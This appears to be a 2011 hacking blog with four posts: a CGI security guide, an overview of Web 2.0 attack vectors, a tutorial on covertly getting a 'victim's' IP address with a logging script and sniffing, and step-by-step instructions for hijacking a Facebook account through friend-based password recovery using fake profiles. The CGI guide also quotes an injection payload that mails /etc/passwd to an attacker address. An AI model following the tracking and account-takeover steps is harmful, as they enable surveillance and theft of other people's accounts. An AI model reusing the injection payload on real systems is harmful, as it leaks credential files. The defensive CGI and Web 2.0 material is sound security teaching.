IP

Sunday, July 24, 2011

CGI-BIN Specific Vulnerabilities



CGI-BIN programs are very popular, are commonly written by inexperienced coders, and are by default available via network to outside users. These factors combine to make CGI-BIN programs a major source of system vulnerabilities. This document highlights the more common types of CGI-BIN vulnerabilities and provides guidelines for secure CGI programming.

Types of CGI vulnerabilities

There are two ways in which CGI script vulnerabilities tend to manifest. The first is by leaking system information that should be kept confidential, and the second by allowing remote users to execute inappropriate commands.


The first case is less immediately dangerous, but harder to protect against. Practically any piece of system information can be useful to a sufficiently wily attacker, and many useful functions require the system to provide some data about itself. Some kinds of information that should not be disclosed without excellent justification include physical paths to users' home directories, such as is returned by the finger daemon, information about what programs users are running, such as is given by the w command, and information on which daemons are running on the system, such as is returned by ps.


The second case represents a much more direct threat to the integrity of the system. CGI scripts will generally be executed with the privilege of the web server; so if that server is properly set up as an unprivileged user then damage will usually be constrained to those parts of the system to which the server has access. Common effects of such vulnerabilities include defacement of the web site and denial of web service.


It does remain possible, however, that a vulnerability in a script that interacts with system calls or other programs on the system could result in a more serious breach. The easiest way to create a root-level hole through CGI programming is to have a setUID script on the system.
Finally, note that all of the general programming security concerns apply to CGI programs like they do to any others.

Methods for Secure CGI scripting

First let it be said that none of these techniques will completely eliminate the problem of CGI vulnerabilities. They can only reduce the risks of an exploit. If any chance of a vulnerability existing on the server is unacceptable, the solution is to disallow CGI scripts entirely.

Configuring the Server

The first technique by which the security of CGI scripts may be improved is proper configuration of the web server from which they will be executed.Most servers have a script-aliasing mode, which allows scripts to be called only from a specified cgi-bin directory. Using this mode will not only allow the administrator to keep better track of what scripts are on the system, it will also prevent an attacker who has compromised another area of the filesystem from installing scripts for his own use.


Turn off the server's dynamic index function. This feature will send a client a listing of any directory to which the server has access when the client requests the directory as a URL. If applied to the cgi-bin directory, this gives an attacker an easy list of all scripts and associated files running on your system.


Most servers come with a selection of pre-built sample scripts. Because these scripts are widely distributed, attackers know to look for them and may blindly request those that then know of vulnerabilities in even if they cannot obtain a listing of scripts on the system. Remove all unneeded sample scripts, and be attentive to any news of vulnerabilities in the ones that you do use. The danger presented by using well known scripts can also be reduced somewhat by simply renaming those scripts so that blind requests will fail.

Setting Permissions

Another major area for improving CGI script security is permission settings. It is a fundamental principle of security that the privilege of any user or process be restricted to what is absolutely necessary.


The most important permission to set is that of the web server. The most common and easiest to exploit CGI vulnerabilities leave the attacker in possession of whatever privileges the web server possesses. Servers should never be run as any sort of privileged user if security is of any concern. Instead run the server as an equivalent of UNIX's nobody user, or create an unprivileged account just for the web server. The advantage of the second approach is that it prevents an attacker who compromises nobody through a different route from also gaining control over the web server.


Running the web server without privileges does not help CGI security if the scripts run from that server gain privilege through sUID. In general, avoid sUID scripts like the plague. Any vulnerability in such a script is a direct conduit for an attacker into the account that the script is set to. Since the whole point of sUID is to give the script some sort of privilege, this invariably translates to some kind of serious security breach. If an sUID script is necessary, be aware that it will become a focal point for attacks into the system. Scrutinze the code for vulnerabilities before installing, and check up regularly once it is in production to ensure that it has not been tampered with.


It is insufficient to restrict access to forms. CGI scripts are usually intended to be called via HTML forms, which often gives web admins the impression that this is the only way that they may be called. This is untrue. A user can call a script directly by requesting it from the web server and including its arguments in the URL. Therefore the permissions of the script files themselves must be restricted.


To secure the scripts themselves, have the cgi-bin directory owned by a secure account--the web admin would be a good choice--and set its permissions such that anyone can execute programs within it but that only its owner can read or write. Unauthorized read access to the scripts only means that an attacker can gain a list of the scripts on the system and source code for that are written in interpreted languages. Unauthorized write access constitutes a full breach of the web server, because the attacker can install arbitrary code and induce the server to execute it.


Any sort of sophisticated scripting will need to write out data, but the scripts run without privilege, and the cgi-bin directory can only be written to by the web admin. The secure solution is to create a separate cgi-data directory. This directory should be owned by whoever owns the cgi-bin directory, but its permissions should be set such that anyone can read and write, but only the author can execute. If the system has any mechanism for indicating trust in information, the data in this directory should be labelled minimum-trust.


A privilege problem that arises on multi-user systems, is that, with only one cgi-bin directory, every user has access to all other users' scripts. This is a problem both because it allows users no confidentiality or integrity for their CGI scripts, and because it gives the administrator no way to establish accountability for problems arising due to user scripts. The solution is to employ CGI-wrapper programs that allow scripts to be readable and writable only by their authors, and to run with the privileges of their authors. The downside to this solution is that wrapped scripts have the necessary permissions to compromise their authors' files. Several wrapper programs, each with slightly different features, are freely available:
cgiwrap, written by Nathan Neilinger: nneul@umr.edu
sbox, written by Lincoln Stein: lstein@cshl.org
suEXEC, which is part of the Apache web server.



Checking Input

Input gathered from CGI scripts is often passed to other programs or to a shell for further processing. This presents an opportunity for vulnerabilities when the script interprets input differently from the entity that it is interfacing with. The most common way in which this type of vulnerability is exploited is when an attacker gives the script input containing characters that have special meaning to the program being called.The classic example, from the Safe CGI Programming guide is an HTML form like





<INPUT TYPE="hidden" NAME="FooAddress" VAULE="foo@bar.baz.com">
calling a script with the line
system("/usr/lib/sendmail -t" + FooAddress + " < " + InputFile);
The script is intended to allow web users to send email to foo, but if an attacker calls the script with the altered form
<INPUT TYPE="hidden" NAME="FooAddress" VALUE="foo@bar.baz.com;mail cracker@bad.com < /etc/passwd"/>


Then the shell will interpret the ";" character as "start new command here," and will mail the system's password file to the attacker.


In UNIX, the shell is the primary source of such misunderstandings. So the security of a script can often be improved simply by avoiding opening a shell. The problem code in the example could be replaced with
open(MAIL, "|/usr/lib/sendmail -t");
print MAIL "To: $recipient\n";
Sometimes opening a shell is unavoidable, however, and programs other than the shell are still perfectly capable of misbehaving when give unexpected input. The general solution is to determine which characters a user should legitimately be able to input, and either strip out or escape all others.
The other frequently exploited vulnerability arising from improper input is the unchecked buffer problem. If the size of input data is larger than the variable designated to store that data, then an attacker may be able to crash the server or possible execute arbitrary code with the server's privileges. Some scripting languages, like Perl, automatically ensure that a variable will have enough space assigned to it to store incoming information. Scripts written in less buffer-aware languages should be checked thoroughly to ensure that the size of incoming data is always checked or limited before it is placed into a buffer.


Observing General Precautions

Finally, be aware that CGI programming is subject to the same general security concerns shared by all types software.
Use open source whenever possible. This is advisable both so that web admins or security officers can personally inpect the scripts that are hosted on the system, and so that many others can inspect those scripts and catch vulnerabilities that the local administrators may have missed.Keep source code short and understandable. This maxim is especially true for CGI scripts, which have no business being large or complicated. The easier code is to read and comprehend, the less likely a bug will slip through. This practice also makes the code easier to modify without introducing new vulnerabilities.Arrange for the contents of the cgi directories and the access logs to the scripts to be audited on a regular basis. If possible, the audits should be done by someone other than the web admin. This both provides another set of eyes to look for attacks or vulnerabilities and, if such things are a concern, requires a conspiracy of at least two to purposefully sabotage server security.

Thursday, July 7, 2011

Top 10 Web 2.0 attack vectors


Web 2.0 is the novel term coined for new generation Web applications. start.com, Google
maps, Writely and MySpace.com are a few examples. The shifting technological landscape is the driving force behind these Web 2.0 applications. On the one hand are Web services that are empowering server-side core technology components and on the other hand are AJAX and Rich Internet Application (RIA) clients that are enhancing client-end interfaces in the browser itself. XML is making a significant impact at both presentation and transport (HTTP/HTTPS) layers. To some extent XML is replacing HTML at the presentation layer while SOAP is becoming the XML-based transport mechanism of choice.


WEB 2.0 Security concerns – Reshaping the industry


This technological transformation is bringing in new security concerns and attack vectors into existence. Yamanner, Samy and Spaceflash type worms are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising some of the confidential information. On the “server-side”, XML based Web services are replacing some of the key functionalities and providing distributed application access through Web services interfaces. These remote capabilities to invoke methods over GET, POST or SOAP from the Web browser itself provide new openings to applications. On other side, RIA frameworks running on XML, XUL, Flash, Applets and JavaScripts are adding new possible sets of vectors. RIA, AJAX and Web services are adding new dimensions to Web application security.


Here is the list of 10 attack vectors along with a brief overview of each:


1. Cross-site scripting in AJAX
In last few months, several cross-site scripting attacks have been observed, where malicious JavaScript code from a particular Web site gets executed on the victim’s browser thereby compromising information. A recent example is the Yamanner worm that exploited cross-site scripting opportunities in Yahoo mail’s AJAX call. Another recent example is the Samy worm that exploited MySpace.com’s cross-site scripting flaw. AJAX gets executed on the client-side by allowing an incorrectly written script to be exploited by an attacker. The attacker is only required to craft a malicious link to coax unsuspecting users to visit a certain page from their Web browsers. This vulnerability existed in traditional applications as well but AJAX has added a new dimension to it. 


2. XML poisoning
XML traffic goes back and forth between server and browser in many of the WEB 2.0 applications. Web applications consume XML blocks coming from AJAX clients. It is possible to poison this XML block. Not uncommon is the technique to apply recursive payloads to similar-producing XML nodes multiple times. If the engine’s handling is poor this may result in a denial of services on the server. Many attackers also produce malformed XML documents that can disrupt logic depending on parsing mechanisms in use on the server. There are two types of parsing mechanisms available on the server side – SAX and DOM. This same attack vector is also used with Web services since they consume SOAP messages and SOAP messages are nothing but XML messages. Largescale adaptation of XMLs at the application layer opens up new opportunities to use this new attack vector. XML external entity reference is an XML property which can be manipulated by an attacker. This can lead to arbitrary file or TCP connection openings that can be leveraged by an attacker. XML schema poisoning is another XML poisoning attack vector which can change execution flow. This vulnerability can help an attacker to compromise confidential information.


3. Malicious AJAX code execution
AJAX calls are very silent and end-users would not be able to determine whether or not the browser is making silent calls using the XMLHTTPRequest object. When the browser makes an AJAX call to any Web site it replays cookies for each request. This can lead to potential opportunities for compromise. For example, John has logged in to his bank and authenticated on the server. After completing the authentication process he gets a session cookie. His bank’s page has a lot of critical information. Now he browses other pages while still logged in to his bank’s account Web page and lands at an attacker’s Web page. On this page the attacker has written silent AJAX code which makes backend calls to his bank without John’s consent, fetches critical information from the pages and sends this information to the attacker’s Web site. This leads to a security breach and leakage of confidential information.


4. RSS / Atom injection
This is a new WEB 2.0 attack. RSS feeds are common means of sharing information on portals and Web applications. These feeds are consumed by Web applications and sent to the browser on the client-side. One can inject literal JavaScripts into the RSS feeds to generate attacks on the client browser. An end user visits this particular Web site loads the page with the RSS feed and the malicious script – a script that can install software or steal cookies – gets executed. This is a lethal client-side attack. Worse, it can be mutated. With RSS and ATOM feeds becoming integral part of Web applications, it is important to filter out certain characters on the server-side before pushing the data out to the end user.


5. WSDL scanning and enumeration
WSDL (Web Services Definition Language) is an interface to Web services. This file provides key information about technologies, exposed methods, invocation patterns, etc. This is very sensitive information and can help in defining exploitation methods. Unnecessary functions or methods kept open can cause potential disaster for Web services. It is important to protect WSDL file or provide limited access to it. In real case scenarios, it is possible to discover several vulnerabilities using WSDL scanning. 


6. Client side validation in AJAX routines
WEB 2.0 based applications use AJAX routines to do a lot of work on the client-side,such as client-side validations for data type, content-checking, date fields, etc. Normally, these client-side checks must be backed up by server-side checks as well. Most developers fail to do so; their reasoning being the assumption that validation is taken care of in AJAX routines. It is possible to bypass AJAX-based validations and to make POST or GET requests directly to the application – a major source for input validation based attacks such as SQL injection, LDAP injection, etc. that can compromise a Web application’s key resources. This expands the list of potential attack vectors that attackers can add to their existing arsenal. AJAX routines are


7. Web services routing issues
Web services security protocols have WS-Routing services. WS-Routing allows SOAP messages to travel in specific sequence from various different nodes on the Internet.Often encrypted messages traverse these nodes. A compromise of any of the intermediate nodes results in possible access to the SOAP messages traveling between two end points.This can be a serious security breach for SOAP messages. As Web applications move to adopt the Web services framework, focus shifts to these new protocols and new attack vectors are generated.


8. Parameter manipulation with SOAP
Web services consume information and variables from SOAP messages. It is possible to
manipulate these variables. For example, “<id>10</id>” is one of the nodes in SOAP Messages. An attacker can start manipulating this node and try different injections – SQL,
LDAP, XPATH, command shell – and explore possible attack vectors to get a hold of internal machines. Incorrect or insufficient input validation in Web services code leaves the Web services application open to compromise. This is a new available attack vector to target Web applications running with Web services.


9. XPATH injection in SOAP message
XPATH is a language for querying XML documents and is similar to SQL statements where we can supply certain information (parameters) and fetch rows from the database. XPATH parsing capabilities are supported by many languages. Web applications  consume large XML documents and many times these applications take inputs from the end user and form XPATH statements. These sections of code are vulnerable to XPATH injection. If XPATH injection gets executed successfully, an attacker can bypass authentication mechanisms or cause the loss of confidential information. There are few known flaws in XPATH that can be leverage by an attacker. The only way to block this attack vector is by providing proper input validation before passing values to an XPATH statement.


10. RIA thick client binary manipulation
Rich Internet Applications (RIA) use very rich UI features such as Flash, ActiveX Controls or Applets as their primary interfaces to Web applications. There are a few security issues with this framework. One of the major issues is with session management  since it is running in browser and sharing same session. At the same time since the entire binary component is downloaded to the client location, an attacker can reverse engineer the binary file and decompile the code. It is possible to patch these binaries and bypass some of the authentication logic contained in the code. This is another interesting attack  vector for WEB 2.0 frameworks.


Conclusion
AJAX, RIA and Web services are three important technological vectors for the WEB 2.0
application space. These technologies are promising and bring new equations to the table,
empowering overall effectiveness and efficiency of Web applications. With these new
technologies come new security issues, and ignoring them can lead to big disasters for the
corporate world. In this article, the discussion was restricted to only ten attacks but there
are several other attack vectors as well. Increased WEB 2.0 security awareness, secure
coding practices and secure deployments offer the best defense against these new attack
vectors.

Friday, July 1, 2011

How to get IP address of another computer remotely



Hello friends, today i will explain you how to get IP address of any computer remotely. Using some very basic tricks we can find the IP address of any remote computer and then you can start your further hacking into the remote system like port scanning and finding vulnerabilities to enter in to the system and hack it.


There are several methods to get an IP address of the victim but i will share few and specially the best one's that can tell you IP address in just few clicks and also all are free methods and special thing is about it is all are manual methods that means you did not require any tool.
how to find ip address of another computer remotely
How to find or get Ip address of somebody else remotely

4 ways to get the IP address of the Victim or another Computer:
1. Using PHP notification Script
2. Using Blogs and Websites
3. Using Read Notify service
4. Sniffing during Gmail and yahoo chat  sessions

As we are here to learn concepts so i will first explain what is an IP address and what's its importance. So friends very basic question What is an IP address? Why its important for hackers and security professionals?

What is an IP address? 
Basically IP address (Internet Protocol address) is a unique numerical value that is assigned to any computer or printer on a computer network that uses an internet protocol for communication purpose. Protocol is basically rules( for Network its rules for communication). 

IP address serves for two basic purposes:
1. Host or network interface identification
2. Location Addressing

For exploring more about IP addressing read on wikipedia.


How to Find IP address of another computer?

1. Using PHP notification Script
Using this Notification script you can get the IP address in just seconds. Steps of using this PHP script:
a. Download the PHP notify script and extract files.
b. Now you will get two files IP.html and index.php . You need to upload these two files to any free web hosting server.
Example: i used www.my3gb.com to upload these two files. Create an account there and upload these two files there as shown below.



c. Now you will need to send the link of index.php to the victim whose password you want to get. to get the link click on index.php shown in above snapshot. Now a new window will open copy the link in the address bar and send to the victim whose IP address you want.
d. Now when the victim opens the above link nothing will open but his Ip address is written into the ip.html file. So open the ip.html file to get his IP address.
e. That's all this method... I hope you liked it.


2. Using Blogs and Websites
This method is for those who have their blogs or websites. Normal users can also do this as blog is free to make. Make a new blog and use any stats service like histats or any other stats widget. Just add a new widget and put histats code there and save template. And send the link of your blog to your friend and get his IP.
That's only.


3. Using Read Notify service
This is an email based service. Steps to use Read Notify service:
a. First open the Read Notify website : RCPT
b. Now register on this website and then it will send you confirmation mail. Verify your account.
c. Once your account is activated. 
Do the following steps use this service:

  1. Compose your email just like you usually would in your own email or web email program
  2. Type:   .readnotify.com   on the end of your recipients email address (don't worry, that gets removed before your recipients receive the email). Like this: ABC@gmail.com.readnotify.com  
  3. Send your email
Some things to remember: 
  • don't send to and from the same computer
  • if your email program 'auto-completes' email addresses from your address book, you'll need to keep typing over the top of the auto-completed one to add the .readnotify.com
  • if you are cc-ing your email to other readers, you must add tracking to all of them 


4.  Sniffing Yahoo and Gmail Chat sessions
With the help of Sniffers like ethereal, wireshark etc we can sniff the Gmail, and yahoo chat sessions while we are chatiing to any our friend and extract the IP address from there.

5. Bonus Method for Online Gamers
We can also get the IP address from online games like counter strike, age of empires in Game ranger etc.. Many counter strike servers use amx mode. Just view which people are connecting and whats their IP addess as plugins show the IP address of people connecting to the game server.  If you have more access to counter strike server you can use status command in console. Just go to console and type "status"(without quotes) and press enter there you can see all players details his steam ID and much more depending upon server.

Wednesday, June 29, 2011

How to Hack Facebook Passwords by adding into friend list


How to Hack Facebook Passwords by adding into friend list




These days many Facebook users have hundreds and possibly thousands of friends. More friends increase the chance that your Facebook account will be hacked – especially if you accept friend requests from people you do not know.

Critical vulnerability found on FACEBOOK


It isn’t entirely unusual that Facebook users receive friend requests from people they do not know. Often, those friend requests are blindly accepted in an effort to grow the friendship base. It seems that especially people with Facebook accounts that are primarily used for marketing purposes are more likely to accept friend requests from people they do not know than the typical Facebook user does.


Such accounts could be hacked easily, and there is no ingenious hacking talent required to do so: You simply need to walk through Facebook’s passwork recovery process with two other Facebook friends of a targeted account.

You can easily gain access to a your friends Facebook account through a collusion approach. You have to use Facebook’s password recovery feature, which is accessible through the “Forgot your password?” link on the Facebook login page.

Once identified the Friend, Facebook suggested to recover the password via the existing email address. However, you can bypass this hurdle by clicking the “No longer have access to these?” link. In that case, Facebook asks for a new email address. In the following step, Facebook presents the security question tied to the account. However, you can also to bypass the question by typing wrong answers three times in a row. After that, Facebook provides a rather surprising way to get your account back – via the support of three friends.

1. First, you select three friends “you trust”. These three friends then receive a code, which is required to change the account password.

2. Select yourself and immediately received a code from Facebook. With those three codes, you can easily change the password for the targeted account.

3. The problem clearly is that three friends you do not really know and cannot trust could potentially gain access to the victim Facebook account – through the standard password recovery feature.

4. To bypass problem mentioned in step 3 SOCIAL ENGINEERING. Create your own 2 more fake profiles and add the victim as a friend on facebook. Now get all the 3 codes and you are done.

NOTE: The targeted account will be locked for 24 hours after this password change and the user’s old email address receives a notification of the password change as well as the names of the three friends who were given the codes. However, if these are friends with fake names, it doesn’t quite matter that you now know their names.

Now if a Facebook user could in fact be in a situation when a Facebook account is not checked within a 24-hour period, particularly since we enjoy to flaunt our activities through Facebook status messages. And if the account is checked frequently, the account depends on Facebook’s response time, which can easily stretch to a number of days.

Bottom line is You don’t expose yourself to people you don’t know.



May be this has been fixed by facebook... but im hoping sooner facebook would make another stupid mistake again..